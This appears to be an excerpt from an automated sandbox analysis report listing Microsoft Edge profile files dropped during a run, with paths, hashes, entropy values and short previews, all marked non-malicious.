Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................b................next-map-id.1.Cnamespace-ea48f00e_00c8_4297_a983_cf146401fea0-https://ntp.msn.com/.0K....................map-0-shd_sweeper.+{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.s.a.q.l.2.f.i.l.t.l.o.c.g.l.b.t.,.p.r.g.-.1.s.w.-.s.a.-.i.m.g.e.m.b.v.4.c.t.r.l.,.p.r.g.-.1.s.w.-.s.a.-.l.v.f.v.1.7.w.c.c.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.f.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.107024545305462
Encrypted:	false
SSDEEP:	6:HUO0gjL+q2PN723oH+TcwtrQMxIFUt8YUlFuoKWZmw+YUqLVkwON723oH+Tcwtrb:X0gjL+vVaYebCFUt8jIXW/+0LV5OaYeL
MD5:	32009AA2B4BD228BB43569E1F8F232FD
SHA1:	F4696288D5C1FF26AA7BA1B64A2EAA6B2FC12B0A
SHA-256:	4EF0BB29BB1EC1BCA609385548F2AF7544C4FB2009CE7729E1E10E0771A4B85C
SHA-512:	5CCF47DF30CA6CCA04710896972B94A966B1CC1C1CF02C925DDFA5EB45696B2A5DFC63C701CE47FD4D4EBBFB073AAE56C5976D9A53DB7B1EC4519F9E9FF36337
Malicious:	false
Preview:	2024/11/17-18:27:41.828 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-18:27:41.838 1ccc Recovering log #3.2024/11/17-18:27:41.970 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.107024545305462
Encrypted:	false
SSDEEP:	6:HUO0gjL+q2PN723oH+TcwtrQMxIFUt8YUlFuoKWZmw+YUqLVkwON723oH+Tcwtrb:X0gjL+vVaYebCFUt8jIXW/+0LV5OaYeL
MD5:	32009AA2B4BD228BB43569E1F8F232FD
SHA1:	F4696288D5C1FF26AA7BA1B64A2EAA6B2FC12B0A
SHA-256:	4EF0BB29BB1EC1BCA609385548F2AF7544C4FB2009CE7729E1E10E0771A4B85C
SHA-512:	5CCF47DF30CA6CCA04710896972B94A966B1CC1C1CF02C925DDFA5EB45696B2A5DFC63C701CE47FD4D4EBBFB073AAE56C5976D9A53DB7B1EC4519F9E9FF36337
Malicious:	false
Preview:	2024/11/17-18:27:41.828 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-18:27:41.838 1ccc Recovering log #3.2024/11/17-18:27:41.970 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376359663340626

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8057851346520764
Encrypted:	false
SSDEEP:	24:36JL7UQaUPpopsAF4unx3xXlatLp3X2amEtG1ChquPcOS/QKkOAM4xz:36xgFUPWzF4Lp2FEkChdU0HOpi
MD5:	F6C29475014B7C12BCF7869835932DE9
SHA1:	F5812BAE9ACE0503476362B88B7F0F773B935444
SHA-256:	876DB4E382BDBB1B2977DE947D82ABFCD87956E0FD9F050C26C685463456792D
SHA-512:	2CB2D148B8C82BD715A42EA2C1B9FB484E880932BA7C248E1CCE7BE7AB0F40A2C349C0230166399BC0207A35AB85B2B3511A13A1ED8D88151C6B4FBAE4273A7C
Malicious:	false
Preview:	SNSS........Rnq............Rnq......".Rnq............Rnq........Rnq........Rnq........Rnq....!...Rnq................................Rnq.Rnq1..,....Rnq$...ea48f00e_00c8_4297_a983_cf146401fea0....Rnq........Rnq...............Rnq....Rnq........................Rnq....................5..0....Rnq&...{46F3A197-DB49-410A-81B3-94975C835573}......Rnq........Rnq............Rnq........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......g!.%$'..h!.%$'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................................................... ..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.139756812319364
Encrypted:	false
SSDEEP:	6:HUPm9+q2PN723oH+Tcwt7Uh2ghZIFUt8YUPC+2WZmw+YUPC+9VkwON723oH+TcwK:79+vVaYebIhHh2FUt8dJ/+d9V5OaYebs
MD5:	B8FB3A22F7E84F546361BB7E6E1553F6
SHA1:	F913B57B14EB2D867EA75C295307EC27AF185729
SHA-256:	C693B76644447DA34826EABD2F1672DE706890B59833A2CCD32A97ADAD7177BB
SHA-512:	FA897E7693D52A3B7391CD5A1DEF6A0DA67AECD75574EF59DA0C94FAA41300CCE6F45443604FA29EF20E42738416065DE54B1B0F228BDCF3757ECBA12B119029
Malicious:	false
Preview:	2024/11/17-18:27:40.845 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-18:27:40.846 1d0c Recovering log #3.2024/11/17-18:27:40.846 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.139756812319364
Encrypted:	false
SSDEEP:	6:HUPm9+q2PN723oH+Tcwt7Uh2ghZIFUt8YUPC+2WZmw+YUPC+9VkwON723oH+TcwK:79+vVaYebIhHh2FUt8dJ/+d9V5OaYebs
MD5:	B8FB3A22F7E84F546361BB7E6E1553F6
SHA1:	F913B57B14EB2D867EA75C295307EC27AF185729
SHA-256:	C693B76644447DA34826EABD2F1672DE706890B59833A2CCD32A97ADAD7177BB
SHA-512:	FA897E7693D52A3B7391CD5A1DEF6A0DA67AECD75574EF59DA0C94FAA41300CCE6F45443604FA29EF20E42738416065DE54B1B0F228BDCF3757ECBA12B119029
Malicious:	false
Preview:	2024/11/17-18:27:40.845 1d0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-18:27:40.846 1d0c Recovering log #3.2024/11/17-18:27:40.846 1d0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.239505628517889
Encrypted:	false
SSDEEP:	12:hWQ+vVaYebvqBQFUt8XcGKW/+ApQV5OaYebvqBvJ:hW5VaYebvZg8XcGK4pSOaYebvk
MD5:	0B1111ED1E23E2A95C25625957CEA10A
SHA1:	75AE29D764470BFF8A59B7DBE2D3D71A69362F86
SHA-256:	C4A09BBF7A8FAE5C0F3FCED8B88903E593D977CC2F4AAF1345C018875176E622
SHA-512:	0A2CCDABCB4F18B686AC81FCF082F2C5A786D474E3320AFA9E52FECDB39566FF6D11EB8F396F813519B45A067BE6DC93A52E8150758CAF9BA696F366BC08492E
Malicious:	false
Preview:	2024/11/17-18:27:41.943 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-18:27:41.973 1e5c Recovering log #3.2024/11/17-18:27:41.993 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.239505628517889
Encrypted:	false
SSDEEP:	12:hWQ+vVaYebvqBQFUt8XcGKW/+ApQV5OaYebvqBvJ:hW5VaYebvZg8XcGK4pSOaYebvk
MD5:	0B1111ED1E23E2A95C25625957CEA10A
SHA1:	75AE29D764470BFF8A59B7DBE2D3D71A69362F86
SHA-256:	C4A09BBF7A8FAE5C0F3FCED8B88903E593D977CC2F4AAF1345C018875176E622
SHA-512:	0A2CCDABCB4F18B686AC81FCF082F2C5A786D474E3320AFA9E52FECDB39566FF6D11EB8F396F813519B45A067BE6DC93A52E8150758CAF9BA696F366BC08492E
Malicious:	false
Preview:	2024/11/17-18:27:41.943 1e5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-18:27:41.973 1e5c Recovering log #3.2024/11/17-18:27:41.993 1e5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0cd5661b-ee8b-4fd7-9b35-eeeffd83d380.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2863a07e-7109-429b-b73a-04c3e5dd57e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3eb8a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c80400ea-8717-41bb-abc5-b81ec18f2454.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f40a1588-7c99-410e-86be-a4a1881adefe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.252745836549675
Encrypted:	false
SSDEEP:	12:Y0L+vVaYebvqBZFUt8fvW/+frLV5OaYebvqBaJ:/YVaYebvyg8bDOaYebvL
MD5:	8C88D03D9A38A8A74561EEBAACB4FE63
SHA1:	04ABA34090D50F3C72CE66D0EA5597159B628FC1
SHA-256:	7D1063FDBB0FF1E8438E08F0E458A8E85B8590BFBEE00F52AFED910E62FE7B2B
SHA-512:	941BEF5F7D3A6E463BAFDBF7CAEABE8F437D302BDF665A6FA32AD90EA373E921C832D1E8580B093FFCB19BF48F7D614D721A0B6B048C37E41C3A77EC241DFE54
Malicious:	false
Preview:	2024/11/17-18:27:59.894 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-18:27:59.896 1ccc Recovering log #3.2024/11/17-18:27:59.899 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.252745836549675
Encrypted:	false
SSDEEP:	12:Y0L+vVaYebvqBZFUt8fvW/+frLV5OaYebvqBaJ:/YVaYebvyg8bDOaYebvL
MD5:	8C88D03D9A38A8A74561EEBAACB4FE63
SHA1:	04ABA34090D50F3C72CE66D0EA5597159B628FC1
SHA-256:	7D1063FDBB0FF1E8438E08F0E458A8E85B8590BFBEE00F52AFED910E62FE7B2B
SHA-512:	941BEF5F7D3A6E463BAFDBF7CAEABE8F437D302BDF665A6FA32AD90EA373E921C832D1E8580B093FFCB19BF48F7D614D721A0B6B048C37E41C3A77EC241DFE54
Malicious:	false
Preview:	2024/11/17-18:27:59.894 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-18:27:59.896 1ccc Recovering log #3.2024/11/17-18:27:59.899 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.179763829914721
Encrypted:	false
SSDEEP:	6:HUPKq2PN723oH+TcwtpIFUt8YUPDZmw+YUPZkwON723oH+Tcwta/WLJ:jvVaYebmFUt81/+n5OaYebaUJ
MD5:	39CB715E58741D28BB33C67A9B7631E8
SHA1:	DF7AD70AB31866622666A8C6C2BC6392FCF1B525
SHA-256:	C4E97C5A023737F06263191B2E11851A670A4469D045ED5332D73257E0477514
SHA-512:	C08B3F31D0CA414C3DE3F1865CFA08DD1D9E8AF0587329D3D008BF57FEC0AEC4382555602FBB88D408FC450286A97B05D147FECDE5554E7F700B8A5439F85CF3
Malicious:	false
Preview:	2024/11/17-18:27:40.904 1d80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-18:27:40.904 1d80 Recovering log #3.2024/11/17-18:27:40.904 1d80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.179763829914721
Encrypted:	false
SSDEEP:	6:HUPKq2PN723oH+TcwtpIFUt8YUPDZmw+YUPZkwON723oH+Tcwta/WLJ:jvVaYebmFUt81/+n5OaYebaUJ
MD5:	39CB715E58741D28BB33C67A9B7631E8
SHA1:	DF7AD70AB31866622666A8C6C2BC6392FCF1B525
SHA-256:	C4E97C5A023737F06263191B2E11851A670A4469D045ED5332D73257E0477514
SHA-512:	C08B3F31D0CA414C3DE3F1865CFA08DD1D9E8AF0587329D3D008BF57FEC0AEC4382555602FBB88D408FC450286A97B05D147FECDE5554E7F700B8A5439F85CF3
Malicious:	false
Preview:	2024/11/17-18:27:40.904 1d80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-18:27:40.904 1d80 Recovering log #3.2024/11/17-18:27:40.904 1d80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
